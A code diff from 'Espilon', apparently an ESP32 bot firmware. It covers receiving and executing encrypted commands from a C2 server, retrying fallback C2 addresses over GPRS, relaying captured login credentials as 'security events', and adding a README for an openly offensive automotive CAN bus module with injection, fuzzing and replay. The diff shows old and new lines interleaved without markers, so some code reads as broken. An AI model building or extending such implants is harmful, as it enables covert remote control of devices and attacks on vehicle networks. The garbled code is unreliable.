char tmp[1024];
|
||||
size_t n = strnlen(frame, sizeof(tmp) - 1);
|
||||
size_t n = strnlen(frame, sizeof(tmp) - 2);
|
||||
memcpy(tmp, frame, n);
|
||||
tmp[n] = '\0';
|
||||
while (n > 0 && (tmp[n - 1] == '\r' || tmp[n - 1] == '\n' || tmp[n - 1] == ' ')) {
|
||||
tmp[n - 1] = '\0';
|
||||
n--;
|
||||
tmp[--n] = '\0';
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "C2 RX b64: %s", tmp);
|
||||
ESP_LOGD(TAG, "C2 RX b64 (%u bytes)", (unsigned)n);
|
||||
|
||||
/* 1) Base64 decode */
|
||||
size_t decoded_len = 0;
|
||||
@ -170,27 +306,28 @@ bool c2_decode_and_exec(const char *frame)
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 2) ChaCha decrypt */
|
||||
unsigned char *plain = chacha_cd((const unsigned char *)decoded, decoded_len);
|
||||
/* 2) Decrypt + authenticate (AEAD) */
|
||||
uint8_t plain[1024];
|
||||
int plain_len = crypto_decrypt(
|
||||
(const uint8_t *)decoded, decoded_len,
|
||||
plain, sizeof(plain)
|
||||
);
|
||||
free(decoded);
|
||||
|
||||
if (!plain) {
|
||||
ESP_LOGE(TAG, "ChaCha decrypt failed");
|
||||
if (plain_len < 0) {
|
||||
ESP_LOGE(TAG, "Decrypt/auth failed – tampered or wrong key");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 3) Protobuf decode -> c2_Command */
|
||||
c2_Command cmd = c2_Command_init_zero;
|
||||
pb_istream_t is = pb_istream_from_buffer(plain, decoded_len);
|
||||
pb_istream_t is = pb_istream_from_buffer(plain, (size_t)plain_len);
|
||||
|
||||
if (!pb_decode(&is, c2_Command_fields, &cmd)) {
|
||||
ESP_LOGE(TAG, "PB decode error: %s", PB_GET_ERROR(&is));
|
||||
free(plain);
|
||||
return false;
|
||||
}
|
||||
|
||||
free(plain);
|
||||
|
||||
/* 4) Log + dispatch */
|
||||
#ifdef CONFIG_ESPILON_LOG_C2_VERBOSE
|
||||
ESP_LOGI(TAG, "==== C2 COMMAND ====");
|
||||
|
||||
48
espilon_bot/components/core/event_format.h
Normal file
48
espilon_bot/components/core/event_format.h
Normal file
@ -0,0 +1,48 @@
|
||||
/*
|
||||
* event_format.h
|
||||
* Generic wire format for security events (honeypot, fakeAP, etc.).
|
||||
*
|
||||
* Wire format: EVT|<type>|<severity>|<mac>|<ip>:<sport>><dport>|<detail>
|
||||
* Parsed by HpStore.parse_and_store() on the C2 side.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "utils.h"
|
||||
|
||||
/**
|
||||
* Send a security event to the C2 via msg_data().
|
||||
*
|
||||
* @param event_type e.g. "SVC_AUTH_ATTEMPT", "WIFI_PROBE", "PORT_SCAN"
|
||||
* @param severity "LOW", "MEDIUM", "HIGH", "CRITICAL"
|
||||
* @param src_mac "aa:bb:cc:dd:ee:ff" or "00:00:00:00:00:00"
|
||||
* @param src_ip Source IP address
|
||||
* @param src_port Source port (0 if unknown)
|
||||
* @param dst_port Destination port
|
||||
* @param detail Free-form detail, e.g. "user='admin' pass='1234'"
|
||||
* @param request_id NULL or request_id for response routing
|
||||
* @return true on success, false on truncation or send failure
|
||||
*/
|
||||
static inline bool event_send(
|
||||
const char *event_type,
|
||||
const char *severity,
|
||||
const char *src_mac,
|
||||
const char *src_ip,
|
||||
int src_port,
|
||||
int dst_port,
|
||||
const char *detail,
|
||||
const char *request_id
|
||||
) {
|
||||
char buf[256];
|
||||
int len = snprintf(buf, sizeof(buf),
|
||||
"EVT|%s|%s|%s|%s:%d>%d|%s",
|
||||
event_type, severity, src_mac,
|
||||
src_ip, src_port, dst_port,
|
||||
detail ? detail : "");
|
||||
|
||||
if (len <= 0 || len >= (int)sizeof(buf))
|
||||
return false;
|
||||
|
||||
return msg_data("EVT", buf, (size_t)len, true, request_id);
|
||||
}
|
||||
@ -11,10 +11,9 @@
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "utils.h" /* CONFIG_*, base64, crypto */
|
||||
#include "command.h" /* process_command */
|
||||
#include "utils.h" /* CONFIG_*, base64, crypto, command */
|
||||
|
||||
#ifdef CONFIG_NETWORK_GPRS
|
||||
#if defined(CONFIG_NETWORK_GPRS) || defined(CONFIG_FB_GPRS_FALLBACK)
|
||||
|
||||
static const char *TAG = "GPRS";
|
||||
|
||||
@ -158,22 +157,19 @@ bool connect_gprs(void)
|
||||
* TCP
|
||||
* ============================================================ */
|
||||
|
||||
bool connect_tcp(void)
|
||||
bool connect_tcp_to(const char *ip, int port)
|
||||
{
|
||||
char buf[BUFF_SIZE];
|
||||
char cmd[128];
|
||||
|
||||
ESP_LOGI(TAG, "TCP connect %s:%d",
|
||||
CONFIG_SERVER_IP,
|
||||
CONFIG_SERVER_PORT);
|
||||
ESP_LOGI(TAG, "TCP connect %s:%d", ip, port);
|
||||
|
||||
send_at_command("AT+CIPMUX=0");
|
||||
at_wait_ok(buf, sizeof(buf), 2000);
|
||||
|
||||
snprintf(cmd, sizeof(cmd),
|
||||
"AT+CIPSTART=\"TCP\",\"%s\",\"%d\"",
|
||||
CONFIG_SERVER_IP,
|
||||
CONFIG_SERVER_PORT);
|
||||
ip, port);
|
||||
send_at_command(cmd);
|
||||
|
||||
if (!at_read(buf, sizeof(buf), 15000))
|
||||
@ -188,6 +184,11 @@ bool connect_tcp(void)
|
||||
return false;
|
||||
}
|
||||
|
||||
bool connect_tcp(void)
|
||||
{
|
||||
return connect_tcp_to(CONFIG_SERVER_IP, CONFIG_SERVER_PORT);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* RX HELPERS
|
||||
* ============================================================ */
|
||||
@ -230,10 +231,8 @@ void gprs_rx_poll(void)
|
||||
rx_len += r;
|
||||
rx_buf[rx_len] = '\0';
|
||||
|
||||
ESP_LOGW(TAG, "RAW UART RX (%d bytes buffered)", rx_len);
|
||||
ESP_LOGW(TAG, "----------------------------");
|
||||
ESP_LOGW(TAG, "%s", rx_buf);
|
||||
ESP_LOGW(TAG, "----------------------------");
|
||||
ESP_LOGD(TAG, "RAW UART RX (%d bytes buffered)", rx_len);
|
||||
ESP_LOGD(TAG, "%s", rx_buf);
|
||||
|
||||
/* nettoyer CR/LF */
|
||||
for (size_t i = 0; i < rx_len; i++) {
|
||||
@ -284,33 +283,6 @@ bool gprs_send(const void *buf, size_t len)
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* CLIENT TASK
|
||||
* ============================================================ */
|
||||
|
||||
void gprs_client_task(void *pvParameters)
|
||||
{
|
||||
ESP_LOGI(TAG, "GPRS client task started");
|
||||
|
||||
while (1) {
|
||||
|
||||
if (!connect_gprs() || !connect_tcp()) {
|
||||
ESP_LOGE(TAG, "Connection failed, retrying...");
|
||||
vTaskDelay(pdMS_TO_TICKS(5000));
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Handshake identique WiFi */
|
||||
msg_info(TAG, CONFIG_DEVICE_ID, NULL);
|
||||
ESP_LOGI(TAG, "Handshake sent");
|
||||
|
||||
while (1) {
|
||||
gprs_rx_poll();
|
||||
vTaskDelay(pdMS_TO_TICKS(10));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* CLOSE
|
||||
* ============================================================ */
|
||||
@ -322,4 +294,125 @@ void close_tcp_connection(void)
|
||||
send_at_command("AT+CIPSHUT");
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* CLIENT TASK (GPRS primary mode only)
|
||||
* ============================================================ */
|
||||
#ifdef CONFIG_NETWORK_GPRS
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
#include "fb_config.h"
|
||||
#include "fb_hunt.h"
|
||||
extern atomic_bool fb_active;
|
||||
|
||||
/* Try NVS C2 fallback addresses over GPRS */
|
||||
static bool try_gprs_fallback_c2s(void)
|
||||
{
|
||||
fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
|
||||
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char ip_buf[48];
|
||||
int port = CONFIG_SERVER_PORT;
|
||||
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
|
||||
ip_buf[sizeof(ip_buf) - 1] = '\0';
|
||||
|
||||
char *colon = strrchr(ip_buf, ':');
|
||||
if (colon) {
|
||||
*colon = '\0';
|
||||
port = atoi(colon + 1);
|
||||
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Trying C2 fallback: %s:%d", ip_buf, port);
|
||||
close_tcp_connection();
|
||||
if (connect_tcp_to(ip_buf, port)) {
|
||||
ESP_LOGI(TAG, "C2 fallback %s:%d connected", ip_buf, port);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
#endif /* CONFIG_MODULE_FALLBACK */
|
||||
|
||||
void gprs_client_task(void *pvParameters)
|
||||
{
|
||||
ESP_LOGI(TAG, "GPRS client task started");
|
||||
|
||||
int tcp_fail_count = 0;
|
||||
#ifdef CONFIG_FB_WIFI_FALLBACK
|
||||
int gprs_dead_count = 0;
|
||||
#endif
|
||||
|
||||
while (1) {
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
/* If fallback hunt is active, wait for it to finish */
|
||||
while (fb_active) {
|
||||
vTaskDelay(pdMS_TO_TICKS(1000));
|
||||
}
|
||||
#endif
|
||||
|
||||
/* GPRS attach */
|
||||
if (!connect_gprs()) {
|
||||
ESP_LOGE(TAG, "GPRS connection failed");
|
||||
#ifdef CONFIG_FB_WIFI_FALLBACK
|
||||
gprs_dead_count++;
|
||||
ESP_LOGW(TAG, "GPRS dead count: %d/%d",
|
||||
gprs_dead_count, CONFIG_FB_GPRS_FAIL_THRESHOLD);
|
||||
if (gprs_dead_count >= CONFIG_FB_GPRS_FAIL_THRESHOLD) {
|
||||
ESP_LOGW(TAG, "GPRS dead — triggering WiFi fallback hunt");
|
||||
fb_hunt_set_skip_gprs(true);
|
||||
fb_hunt_trigger();
|
||||
gprs_dead_count = 0;
|
||||
continue;
|
||||
}
|
||||
#endif
|
||||
setup_modem();
|
||||
vTaskDelay(pdMS_TO_TICKS(5000));
|
||||
continue;
|
||||
}
|
||||
#ifdef CONFIG_FB_WIFI_FALLBACK
|
||||
gprs_dead_count = 0;
|
||||
#endif
|
||||
|
||||
/* TCP connect to C2 */
|
||||
if (!connect_tcp()) {
|
||||
tcp_fail_count++;
|
||||
ESP_LOGW(TAG, "TCP connect failed (%d consecutive)", tcp_fail_count);
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
if (tcp_fail_count >= CONFIG_FB_TCP_FAIL_THRESHOLD) {
|
||||
/* Level 1: try NVS C2 fallback addresses over GPRS */
|
||||
if (try_gprs_fallback_c2s()) {
|
||||
tcp_fail_count = 0;
|
||||
goto handshake;
|
||||
}
|
||||
/* Modem restart */
|
||||
ESP_LOGW(TAG, "All C2 unreachable — modem restart");
|
||||
close_tcp_connection();
|
||||
setup_modem();
|
||||
tcp_fail_count = 0;
|
||||
}
|
||||
#endif
|
||||
vTaskDelay(pdMS_TO_TICKS(5000));
|
||||
continue;
|
||||
}
|
||||
tcp_fail_count = 0;
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
handshake:
|
||||
#endif
|
||||
/* Handshake */
|
||||
msg_info(TAG, CONFIG_DEVICE_ID, NULL);
|
||||
ESP_LOGI(TAG, "Handshake sent");
|
||||
|
||||
while (1) {
|
||||
gprs_rx_poll();
|
||||
vTaskDelay(pdMS_TO_TICKS(10));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* CONFIG_NETWORK_GPRS */
|
||||
|
||||
#endif /* CONFIG_NETWORK_GPRS || CONFIG_FB_GPRS_FALLBACK */
|
||||
|
||||
@ -8,12 +8,14 @@
|
||||
#include "pb_encode.h"
|
||||
#include "c2.pb.h"
|
||||
|
||||
#include "utils.h" /* base64_encode, chacha_cd, CONFIG_DEVICE_ID */
|
||||
#include "freertos/semphr.h"
|
||||
#include "utils.h" /* crypto_encrypt, base64_encode, CONFIG_DEVICE_ID */
|
||||
|
||||
#define TAG "AGENT_MSG"
|
||||
#define MAX_PROTOBUF_SIZE 512
|
||||
|
||||
extern int sock;
|
||||
extern SemaphoreHandle_t sock_mutex;
|
||||
|
||||
/* ============================================================
|
||||
* TCP helpers
|
||||
@ -22,14 +24,27 @@ extern int sock;
|
||||
static bool tcp_send_all(const void *buf, size_t len)
|
||||
{
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
|
||||
extern int sock;
|
||||
|
||||
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
int current_sock = sock;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
if (current_sock < 0) {
|
||||
ESP_LOGE(TAG, "socket not connected");
|
||||
return false;
|
||||
}
|
||||
|
||||
const uint8_t *p = (const uint8_t *)buf;
|
||||
while (len > 0) {
|
||||
int sent = lwip_write(sock, p, len);
|
||||
int sent = lwip_write(current_sock, p, len);
|
||||
if (sent <= 0) {
|
||||
ESP_LOGE(TAG, "lwip_write failed");
|
||||
ESP_LOGE(TAG, "lwip_write failed, disconnecting");
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
if (sock == current_sock) {
|
||||
lwip_close(sock);
|
||||
sock = -1;
|
||||
}
|
||||
xSemaphoreGive(sock_mutex);
|
||||
return false;
|
||||
}
|
||||
p += sent;
|
||||
@ -54,8 +69,11 @@ static bool send_base64_frame(const uint8_t *data, size_t len)
|
||||
return false;
|
||||
}
|
||||
|
||||
bool ok = tcp_send_all(b64, strlen(b64)) &&
|
||||
tcp_send_all("\n", 1);
|
||||
/* Prepend "device_id:" so the C2 can identify which key to use */
|
||||
bool ok = tcp_send_all(CONFIG_DEVICE_ID, strlen(CONFIG_DEVICE_ID))
|
||||
&& tcp_send_all(":", 1)
|
||||
&& tcp_send_all(b64, strlen(b64))
|
||||
&& tcp_send_all("\n", 1);
|
||||
|
||||
free(b64);
|
||||
return ok;
|
||||
@ -67,10 +85,10 @@ static bool send_base64_frame(const uint8_t *data, size_t len)
|
||||
|
||||
static bool encode_encrypt_send(c2_AgentMessage *msg)
|
||||
{
|
||||
uint8_t buffer[MAX_PROTOBUF_SIZE];
|
||||
uint8_t pb_buf[MAX_PROTOBUF_SIZE];
|
||||
|
||||
pb_ostream_t stream =
|
||||
pb_ostream_from_buffer(buffer, sizeof(buffer));
|
||||
pb_ostream_from_buffer(pb_buf, sizeof(pb_buf));
|
||||
|
||||
if (!pb_encode(&stream, c2_AgentMessage_fields, msg)) {
|
||||
ESP_LOGE(TAG, "pb_encode failed: %s",
|
||||
@ -80,16 +98,17 @@ static bool encode_encrypt_send(c2_AgentMessage *msg)
|
||||
|
||||
size_t proto_len = stream.bytes_written;
|
||||
|
||||
uint8_t *cipher =
|
||||
(uint8_t *)chacha_cd(buffer, proto_len);
|
||||
if (!cipher) {
|
||||
ESP_LOGE(TAG, "chacha_cd failed");
|
||||
/* nonce[12] + ciphertext + tag[16] */
|
||||
uint8_t enc_buf[MAX_PROTOBUF_SIZE + 12 + 16];
|
||||
|
||||
int enc_len = crypto_encrypt(pb_buf, proto_len,
|
||||
enc_buf, sizeof(enc_buf));
|
||||
if (enc_len < 0) {
|
||||
ESP_LOGE(TAG, "crypto_encrypt failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
bool ok = send_base64_frame(cipher, proto_len);
|
||||
free(cipher);
|
||||
return ok;
|
||||
return send_base64_frame(enc_buf, (size_t)enc_len);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
|
||||
@ -23,7 +23,7 @@ typedef struct _c2_Command {
|
||||
char device_id[64];
|
||||
char command_name[32];
|
||||
pb_size_t argv_count;
|
||||
char argv[8][64];
|
||||
char argv[8][256];
|
||||
char request_id[64];
|
||||
} c2_Command;
|
||||
|
||||
@ -98,7 +98,7 @@ extern const pb_msgdesc_t c2_AgentMessage_msg;
|
||||
/* Maximum encoded size of messages (where known) */
|
||||
#define C2_PROTO_C2_PB_H_MAX_SIZE c2_Command_size
|
||||
#define c2_AgentMessage_size 426
|
||||
#define c2_Command_size 683
|
||||
#define c2_Command_size 2227
|
||||
|
||||
#ifdef __cplusplus
|
||||
} /* extern "C" */
|
||||
|
||||
@ -1,7 +1,6 @@
|
||||
#include <string.h>
|
||||
|
||||
#include "c2.pb.h"
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
@ -18,14 +17,15 @@ void process_command(const c2_Command *cmd)
|
||||
}
|
||||
|
||||
/* -----------------------------------------------------
|
||||
* Device ID check
|
||||
* Device ID check — allow broadcast (empty device_id)
|
||||
* ----------------------------------------------------- */
|
||||
//if (!device_id_matches(CONFIG_DEVICE_ID, cmd->device_id)) {
|
||||
// ESP_LOGW(TAG,
|
||||
// "Command not for this device (target=%s)",
|
||||
// cmd->device_id);
|
||||
// return;
|
||||
//}
|
||||
if (cmd->device_id[0] != '\0' &&
|
||||
strcmp(CONFIG_DEVICE_ID, cmd->device_id) != 0) {
|
||||
ESP_LOGW(TAG,
|
||||
"Command not for this device (target=%s, self=%s)",
|
||||
cmd->device_id, CONFIG_DEVICE_ID);
|
||||
return;
|
||||
}
|
||||
|
||||
/* -----------------------------------------------------
|
||||
* Basic validation
|
||||
|
||||
@ -13,6 +13,7 @@ extern "C" {
|
||||
|
||||
#include "sdkconfig.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_err.h"
|
||||
|
||||
/* >>> CRITIQUE <<< */
|
||||
#include "c2.pb.h" /* c2_Command, c2_AgentMsgType */
|
||||
@ -64,14 +65,25 @@ extern int sock;
|
||||
bool com_init(void);
|
||||
|
||||
/* ============================================================
|
||||
* CRYPTO API
|
||||
* CRYPTO API (ChaCha20-Poly1305 AEAD + HKDF)
|
||||
* ============================================================ */
|
||||
|
||||
/* Init crypto: read master key from factory NVS, derive via HKDF-SHA256 */
|
||||
bool crypto_init(void);
|
||||
|
||||
/*
|
||||
* ChaCha20 encrypt/decrypt
|
||||
* Retourne un buffer malloc()'d → free() obligatoire
|
||||
* Encrypt (AEAD). Output: nonce[12] || ciphertext || tag[16]
|
||||
* Returns total output length, or -1 on error.
|
||||
*/
|
||||
unsigned char *chacha_cd(const unsigned char *data, size_t data_len);
|
||||
int crypto_encrypt(const uint8_t *plain, size_t plain_len,
|
||||
uint8_t *out, size_t out_cap);
|
||||
|
||||
/*
|
||||
* Decrypt + verify (AEAD). Input: nonce[12] || ciphertext || tag[16]
|
||||
* Returns plaintext length, or -1 on error / auth failure.
|
||||
*/
|
||||
int crypto_decrypt(const uint8_t *in, size_t in_len,
|
||||
uint8_t *out, size_t out_cap);
|
||||
|
||||
/* Base64 helpers */
|
||||
char *base64_decode(const char *input, size_t *output_len);
|
||||
@ -138,42 +150,89 @@ void process_command_from_buffer(
|
||||
size_t len
|
||||
);
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND REGISTRY & DISPATCH
|
||||
* ============================================================ */
|
||||
|
||||
#define MAX_COMMANDS 72
|
||||
#define MAX_ASYNC_ARGS 8
|
||||
#define MAX_ASYNC_ARG_LEN 64
|
||||
|
||||
typedef esp_err_t (*command_handler_t)(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *request_id,
|
||||
void *ctx
|
||||
);
|
||||
|
||||
typedef struct {
|
||||
const char *name;
|
||||
const char *sub;
|
||||
const char *help;
|
||||
int min_args;
|
||||
int max_args;
|
||||
command_handler_t handler;
|
||||
void *ctx;
|
||||
bool async;
|
||||
} command_t;
|
||||
|
||||
void command_register(const command_t *cmd);
|
||||
void command_log_registry_summary(void);
|
||||
void command_process_pb(const c2_Command *cmd);
|
||||
void command_async_init(void);
|
||||
void command_async_enqueue(const command_t *cmd, const c2_Command *pb_cmd, int argv_offset);
|
||||
|
||||
/* ============================================================
|
||||
* WIFI
|
||||
* ============================================================ */
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
void wifi_init(void);
|
||||
void tcp_client_task(void *pvParameters);
|
||||
void wifi_pause_reconnect(void);
|
||||
void wifi_resume_reconnect(void);
|
||||
#endif
|
||||
|
||||
/* Fallback: when true, WiFi.c skips its own reconnect logic */
|
||||
#include <stdatomic.h>
|
||||
extern atomic_bool fb_active;
|
||||
|
||||
/* FakeAP: when true, WiFi.c skips reconnect to avoid interference */
|
||||
#ifdef CONFIG_MODULE_FAKEAP
|
||||
extern atomic_bool fakeap_active;
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* GPRS
|
||||
* ============================================================ */
|
||||
|
||||
#ifdef CONFIG_NETWORK_GPRS
|
||||
#if defined(CONFIG_NETWORK_GPRS) || defined(CONFIG_FB_GPRS_FALLBACK)
|
||||
#define BUFF_SIZE 1024
|
||||
#define UART_NUM UART_NUM_1
|
||||
#define TXD_PIN 27
|
||||
#define RXD_PIN 26
|
||||
#define PWR_KEY 4
|
||||
#define PWR_EN 23
|
||||
#define RESET 5
|
||||
#define LED_GPIO 13
|
||||
#define TXD_PIN CONFIG_GPRS_TXD_PIN
|
||||
#define RXD_PIN CONFIG_GPRS_RXD_PIN
|
||||
#define PWR_KEY CONFIG_GPRS_PWR_KEY
|
||||
#define PWR_EN CONFIG_GPRS_PWR_EN
|
||||
#define RESET CONFIG_GPRS_RESET_PIN
|
||||
#define LED_GPIO CONFIG_GPRS_LED_GPIO
|
||||
|
||||
void setup_uart(void);
|
||||
void setup_modem(void);
|
||||
|
||||
bool connect_gprs(void);
|
||||
bool connect_tcp(void);
|
||||
bool connect_tcp_to(const char *ip, int port);
|
||||
|
||||
bool gprs_send(const void *buf, size_t len);
|
||||
void gprs_rx_poll(void);
|
||||
void close_tcp_connection(void);
|
||||
|
||||
void gprs_client_task(void *pvParameters);
|
||||
void send_at_command(const char *cmd);
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_NETWORK_GPRS
|
||||
void gprs_client_task(void *pvParameters);
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
|
||||
27
espilon_bot/components/mod_canbus/CMakeLists.txt
Normal file
27
espilon_bot/components/mod_canbus/CMakeLists.txt
Normal file
@ -0,0 +1,27 @@
|
||||
set(CANBUS_SRCS
|
||||
cmd_canbus.c
|
||||
canbus_driver.c
|
||||
canbus_config.c
|
||||
)
|
||||
|
||||
if(CONFIG_CANBUS_ISO_TP)
|
||||
list(APPEND CANBUS_SRCS canbus_isotp.c)
|
||||
endif()
|
||||
|
||||
if(CONFIG_CANBUS_UDS)
|
||||
list(APPEND CANBUS_SRCS canbus_uds.c)
|
||||
endif()
|
||||
|
||||
if(CONFIG_CANBUS_OBD)
|
||||
list(APPEND CANBUS_SRCS canbus_obd.c)
|
||||
endif()
|
||||
|
||||
if(CONFIG_CANBUS_FUZZ)
|
||||
list(APPEND CANBUS_SRCS canbus_fuzz.c)
|
||||
endif()
|
||||
|
||||
idf_component_register(
|
||||
SRCS ${CANBUS_SRCS}
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES core nvs_flash freertos driver
|
||||
)
|
||||
341
espilon_bot/components/mod_canbus/README.md
Normal file
341
espilon_bot/components/mod_canbus/README.md
Normal file
@ -0,0 +1,341 @@
|
||||
# CAN Bus Module (mod_canbus)
|
||||
|
||||
Automotive CAN bus offensive module for Espilon, built on the **MCP2515** SPI controller. Supports passive sniffing, frame injection, ISO-TP transport, UDS diagnostics, OBD-II decoding, fuzzing, and replay.
|
||||
|
||||
> **Authorization required**: CAN bus interaction with vehicles must be performed only on owned hardware or with explicit written authorization. Unauthorized access to vehicle networks is illegal.
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
|
||||
- [Hardware Requirements](#hardware-requirements)
|
||||
- [Wiring](#wiring)
|
||||
- [Configuration](#configuration)
|
||||
- [Architecture](#architecture)
|
||||
- [Commands Reference](#commands-reference)
|
||||
- [Core Commands](#core-commands)
|
||||
- [UDS Diagnostic Commands](#uds-diagnostic-commands)
|
||||
- [OBD-II Commands](#obd-ii-commands)
|
||||
- [Fuzzing Commands](#fuzzing-commands)
|
||||
- [Frame Format](#frame-format)
|
||||
- [C3PO Integration](#c3po-integration)
|
||||
- [Usage Examples](#usage-examples)
|
||||
- [Troubleshooting](#troubleshooting)
|
||||
|
||||
---
|
||||
|
||||
## Hardware Requirements
|
||||
|
||||
| Component | Role | Cost |
|
||||
|-----------|------|------|
|
||||
| **MCP2515 module** | CAN 2.0B controller + TJA1050 transceiver | ~3 EUR |
|
||||
| **ESP32** | Main MCU (any variant with SPI) | ~5 EUR |
|
||||
|
||||
Most MCP2515 modules sold online already integrate the TJA1050 CAN transceiver. Check the oscillator crystal on your module — common values are **8 MHz** and **16 MHz** (must match Kconfig `CANBUS_OSC_MHZ`).
|
||||
|
||||
---
|
||||
|
||||
## Wiring
|
||||
|
||||
Default GPIO mapping (configurable via `idf.py menuconfig`):
|
||||
|
||||
```
|
||||
MCP2515 Module ESP32 (VSPI)
|
||||
────────────── ────────────
|
||||
VCC → 3.3V
|
||||
GND → GND
|
||||
CS → GPIO 5
|
||||
MOSI (SI) → GPIO 23
|
||||
MISO (SO) → GPIO 19
|
||||
SCK → GPIO 18
|
||||
INT → GPIO 4 (active low)
|
||||
```
|
||||
|
||||
Connect **CAN_H** and **CAN_L** on the MCP2515 module to the target CAN bus. For OBD-II: pin 6 (CAN_H) and pin 14 (CAN_L).
|
||||
|
||||
---
|
||||
|
||||
## Configuration
|
||||
|
||||
Enable the module in `idf.py menuconfig` under **Modules > CAN Bus Module (MCP2515)**.
|
||||
|
||||
### Kconfig Options
|
||||
|
||||
| Option | Default | Description |
|
||||
|--------|---------|-------------|
|
||||
| `CONFIG_MODULE_CANBUS` | n | Enable the CAN bus module |
|
||||
| `CANBUS_SPI_HOST` | 3 (VSPI) | SPI host: 2=HSPI, 3=VSPI |
|
||||
| `CANBUS_PIN_MOSI` | 23 | SPI MOSI GPIO |
|
||||
| `CANBUS_PIN_MISO` | 19 | SPI MISO GPIO |
|
||||
| `CANBUS_PIN_SCK` | 18 | SPI SCK GPIO |
|
||||
| `CANBUS_PIN_CS` | 5 | SPI Chip Select GPIO |
|
||||
| `CANBUS_PIN_INT` | 4 | MCP2515 interrupt GPIO (active low) |
|
||||
| `CANBUS_OSC_MHZ` | 8 | Oscillator frequency on MCP2515 module |
|
||||
| `CANBUS_DEFAULT_BITRATE` | 500000 | Default bus speed (bps) |
|
||||
| `CANBUS_SPI_CLOCK_HZ` | 10000000 | SPI clock (max 10 MHz) |
|
||||
| `CANBUS_RECORD_BUFFER` | 512 | Frame ring buffer size (64-2048) |
|
||||
| `CANBUS_ISO_TP` | y | ISO-TP transport layer (required for UDS/OBD) |
|
||||
| `CANBUS_UDS` | y | UDS diagnostic services (requires ISO-TP) |
|
||||
| `CANBUS_OBD` | y | OBD-II PID decoder (requires ISO-TP) |
|
||||
| `CANBUS_FUZZ` | y | CAN fuzzing engine |
|
||||
|
||||
### Supported Bitrates
|
||||
|
||||
| Bitrate | Use Case | 8 MHz | 16 MHz |
|
||||
|---------|----------|-------|--------|
|
||||
| 1 Mbps | High-speed CAN | - | Yes |
|
||||
| 500 kbps | Standard automotive | Yes | Yes |
|
||||
| 250 kbps | J1939 (trucks) | Yes | Yes |
|
||||
| 125 kbps | Low-speed CAN | Yes | Yes |
|
||||
| 100 kbps | Diagnostic | Yes | Yes |
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────┐
|
||||
│ cmd_canbus.c — C2 command handlers (27 cmds)│
|
||||
│ ↕ │
|
||||
│ canbus_uds.c — UDS (ISO 14229) services │
|
||||
│ canbus_obd.c — OBD-II PID decoder │
|
||||
│ canbus_fuzz.c — Fuzzing engine │
|
||||
│ ↕ │
|
||||
│ canbus_isotp.c — ISO-TP (ISO 15765-2) │
|
||||
│ ↕ │
|
||||
│ canbus_driver.c — MCP2515 SPI driver + RX task │
|
||||
│ ↕ │
|
||||
│ canbus_config.c — NVS persistence │
|
||||
│ ↕ │
|
||||
│ ESP-IDF SPI Master — Hardware SPI bus │
|
||||
└─────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### File Manifest
|
||||
|
||||
| File | Lines | Layer |
|
||||
|------|-------|-------|
|
||||
| `canbus_driver.c/.h` | ~920 | MCP2515 SPI + RX/TX + ISR |
|
||||
| `canbus_isotp.c/.h` | ~480 | Multi-frame CAN transport |
|
||||
| `canbus_uds.c/.h` | ~440 | Automotive diagnostics |
|
||||
| `canbus_obd.c/.h` | ~390 | OBD-II PID decode |
|
||||
| `canbus_fuzz.c/.h` | ~390 | Fuzz testing engine |
|
||||
| `canbus_config.c/.h` | ~360 | NVS persistence |
|
||||
| `cmd_canbus.c/.h` | ~1360 | Command handlers + registration |
|
||||
| **Total** | **~4350** | |
|
||||
|
||||
### NVS Persistence
|
||||
|
||||
Namespace: `"can_cfg"`
|
||||
|
||||
| Key | Type | Content |
|
||||
|-----|------|---------|
|
||||
| `bitrate` | i32 | Saved CAN speed |
|
||||
| `osc_mhz` | u8 | Oscillator frequency |
|
||||
| `sw_filters` | blob | Up to 16 software filter IDs |
|
||||
| `ecus` | blob | Discovered UDS ECU IDs |
|
||||
|
||||
---
|
||||
|
||||
## Commands Reference
|
||||
|
||||
### Core Commands
|
||||
